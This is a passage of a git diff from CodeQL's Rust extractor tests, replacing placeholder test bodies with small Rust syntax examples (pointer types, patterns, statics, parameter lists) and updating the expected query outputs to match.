test_never_type_repr() -> () { - // A NeverTypeRepr. For example: - todo!() + // The never type `!`. + // + // For example: + fn foo() -> ! { panic!() } + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected index e966a16e13c..bb999506a0c 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected @@ -1 +1,2 @@ | gen_param_list.rs:3:19:3:20 | ParamList | getNumberOfParams: | 0 | hasSelfParam: | no | +| gen_param_list.rs:7:11:7:26 | ParamList | getNumberOfParams: | 2 | hasSelfParam: | no | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected index e69de29bb2d..9006caf6916 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected @@ -0,0 +1,2 @@ +| gen_param_list.rs:7:11:7:26 | ParamList | 0 | gen_param_list.rs:7:12:7:17 | ...: i32 | +| gen_param_list.rs:7:11:7:26 | ParamList | 1 | gen_param_list.rs:7:20:7:25 | ...: i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs index 7f25b68c774..b6b34bb6703 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs +++ b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_param_list() -> () { - // A ParamList. For example: - todo!() + // A list of parameters in a function, method, or closure declaration. + // + // For example: + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected index e69de29bb2d..efe22fdb625 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected index e69de29bb2d..c20c0ec66fa 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | gen_paren_expr.rs:7:6:7:10 | ... + ... | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs index 954e1878ee3..292053784d8 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_paren_expr() -> () { - // A ParenExpr. For example: - todo!() + // A parenthesized expression. + // + // For example: + (x + y) } diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected index e69de29bb2d..7b9b66a886d 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected index e69de29bb2d..832d823866f 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | gen_paren_pat.rs:7:10:7:10 | x | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs index 9c24db9dce7..33785db95d3 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs +++ b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_pat() -> () { - // A ParenPat. For example: - todo!() + // A parenthesized pattern. + // + // For example: + let (x) = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected index e69de29bb2d..fd5d8310d17 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected index e69de29bb2d..b4167e4201a 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | gen_paren_type_repr.rs:7:13:7:15 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs index 9e2577009da..e69dadf6ca7 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_type_repr() -> () { - // A ParenTypeRepr. For example: - todo!() + // A parenthesized type. + // + // For example: + let x: (i32); + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected new file mode 100644 index 00000000000..317d43de72d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected @@ -0,0 +1 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | getNumberOfTypeArgs: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql new file mode 100644 index 00000000000..73080b26f2d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int getNumberOfTypeArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfTypeArgs = x.getNumberOfTypeArgs() +select x, "getNumberOfTypeArgs:", getNumberOfTypeArgs diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected new file mode 100644 index 00000000000..8ae7aa526d3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected @@ -0,0 +1,2 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 0 | gen_parenthesized_arg_list.rs:9:15:9:17 | TypeArg | +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 1 | gen_parenthesized_arg_list.rs:9:20:9:25 | TypeArg | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql new file mode 100644 index 00000000000..04247f8ff64 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getTypeArg(index) diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs new file mode 100644 index 00000000000..9af64f99191 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs @@ -0,0 +1,14 @@ +// generated by codegen, do not edit + +fn test_parenthesized_arg_list() -> () { + // A parenthesized argument list as used in function traits. + // + // For example: + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } +} diff --git a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs index a3dc7ccb6e4..70efa0da8fc 100644 --- a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_path_type_repr() -> () { - // A type referring to a path. For example: + // A path referring to a type. For example: type X = std::collections::HashMap; type Y = X::Item; } diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected index e69de29bb2d..b975dde09ff 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | isConst: | yes | isMut: | no | hasTypeRepr: | yes | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | isConst: | no | isMut: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected index e69de29bb2d..8006e33f1d6 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | gen_ptr_type_repr.rs:7:19:7:21 | i32 | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | gen_ptr_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs index a071dfa0bbf..cb3d15f6e55 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ptr_type_repr() -> () { - // A PtrTypeRepr. For example: - todo!() + // A pointer type. + // + // For example: + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected index e69de29bb2d..da74246c0db 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | isMut: | no | hasLifetime: | no | hasTypeRepr: | yes | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | isMut: | yes | hasLifetime: | no | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected index e69de29bb2d..59518bf3743 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | gen_ref_type_repr.rs:7:13:7:15 | i32 | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | gen_ref_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs index 083e0817fbf..c8997352aaf 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ref_type_repr() -> () { - // A RefTypeRepr. For example: - todo!() + // A reference type. + // + // For example: + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected index e69de29bb2d..3568d798d28 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected index e69de29bb2d..323982f910d 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | gen_rename.rs:7:16:7:18 | bar | diff --git a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs index 8d8ca68ce35..0edc248ec6f 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs +++ b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rename() -> () { - // A Rename. For example: - todo!() + // A rename in a use declaration. + // + // For example: + use foo as bar; + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected index e69de29bb2d..c5d19cda38d 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected +++ b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected @@ -0,0 +1 @@ +| gen_rest_pat.rs:7:13:7:14 | .. | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs index 0f7b95b93f2..5010471ca45 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs +++ b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rest_pat() -> () { - // A RestPat. For example: - todo!() + // A rest pattern (`..`) in a tuple, slice, or struct pattern. + // + // For example: + let (a, .., z) = (1, 2, 3); + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected index fb87db7cabe..18726b694bf 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected @@ -1,2 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | hasTypeRepr: | yes | - +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected index 967da637efb..c150253243e 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected @@ -1 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | gen_ret_type_repr.rs:3:28:3:29 | TupleTypeRepr | +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | gen_ret_type_repr.rs:7:17:7:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs index 4c3b8a6aaf0..a3294ce8545 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_ret_type_repr() -> () { - // A RetTypeRepr. For example: - todo!() + // A return type in a function signature. + // + // For example: + fn foo() -> i32 {} + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected index e69de29bb2d..125f3345c92 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected @@ -0,0 +1,2 @@ +| gen_return_type_syntax.rs:7:45:7:48 | ReturnTypeSyntax | +| gen_return_type_syntax.rs:13:25:13:28 | ReturnTypeSyntax | diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs index 31601c86b33..eb09efc78f8 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs @@ -1,6 +1,19 @@ // generated by codegen, do not edit fn test_return_type_syntax() -> () { - // A ReturnTypeSyntax. For example: - todo!() + // A return type notation `(..)` to reference or bound the type returned by a trait method + // + // For example: + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } } diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected index e69de29bb2d..dfcfb754437 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected index e69de29bb2d..7c0b5e94e2f 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | gen_slice_type_repr.rs:7:14:7:16 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs index 657b98a3efd..39e72c8527e 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_slice_type_repr() -> () { - // A SliceTypeRepr. For example: - todo!() + // A slice type. + // + // For example: + let s: &[i32]; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected index 9aac17e8e84..e354381a921 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | +| gen_source_file.rs:1:1:9:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | | lib.rs:1:1:1:20 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected index 981f445201e..236a2a0755b 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | 0 | gen_source_file.rs:3:1:6:1 | fn test_source_file | +| gen_source_file.rs:1:1:9:2 | SourceFile | 0 | gen_source_file.rs:3:1:9:1 | fn test_source_file | | lib.rs:1:1:1:20 | SourceFile | 0 | lib.rs:1:1:1:20 | mod gen_source_file | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs index 5d8e1d2caf4..ba9ab156a34 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs +++ b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_source_file() -> () { - // A SourceFile. For example: - todo!() + // A source file. + // + // For example: + // main.rs + fn main() {} } diff --git a/rust/ql/test/extractor-tests/generated/Static/Static.expected b/rust/ql/test/extractor-tests/generated/Static/Static.expected index e69de29bb2d..076578efe68 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isMut: | no | isStatic: | yes | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected index e69de29bb2d..1c7305c4991 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:21:7:22 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected index e69de29bb2d..96c219c64db 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:12:7:12 | X | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected index e69de29bb2d..556c5467484 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs index cd0e40d3f6c..b045dfadcf7 100644 --- a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs +++ b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_static() -> () { - // A Static. For example: - todo!() + // A static item declaration. + // + // For example: + static X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected index 201b91c921f..46bdea2a71c 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected @@ -1 +1,2 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:3:27:12:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:7:5:10:5 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 2 | hasTailExpr: | no | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected index e69de29bb2d..46bda795699 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected @@ -0,0 +1,2 @@ +| gen_stmt_list.rs:7:5:10:5 | StmtList | 0 | gen_stmt_list.rs:8:9:8:18 | let ... = 1 | +| gen_stmt_list.rs:7:5:10:5 | StmtList | 1 | gen_stmt_list.rs:9:9:9:18 | let ... = 2 | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected index 007a65f8439..998a40aea79 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected @@ -1 +1 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | gen_stmt_list.rs:5:5:5:11 | MacroExpr | +| gen_stmt_list.rs:3:27:12:1 | StmtList | gen_stmt_list.rs:7:5:10:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs index cea5eceb1cd..8cc83732b62 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs +++ b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_stmt_list() -> () { - // A StmtList. For example: - todo!() + // A list of statements in a block. + // + // For example: + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected index e69de29bb2d..63c314de869 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasFieldList: | yes | hasGenericParamList: | no | hasName: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected index e69de29bb2d..b2233206f64 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected +++ 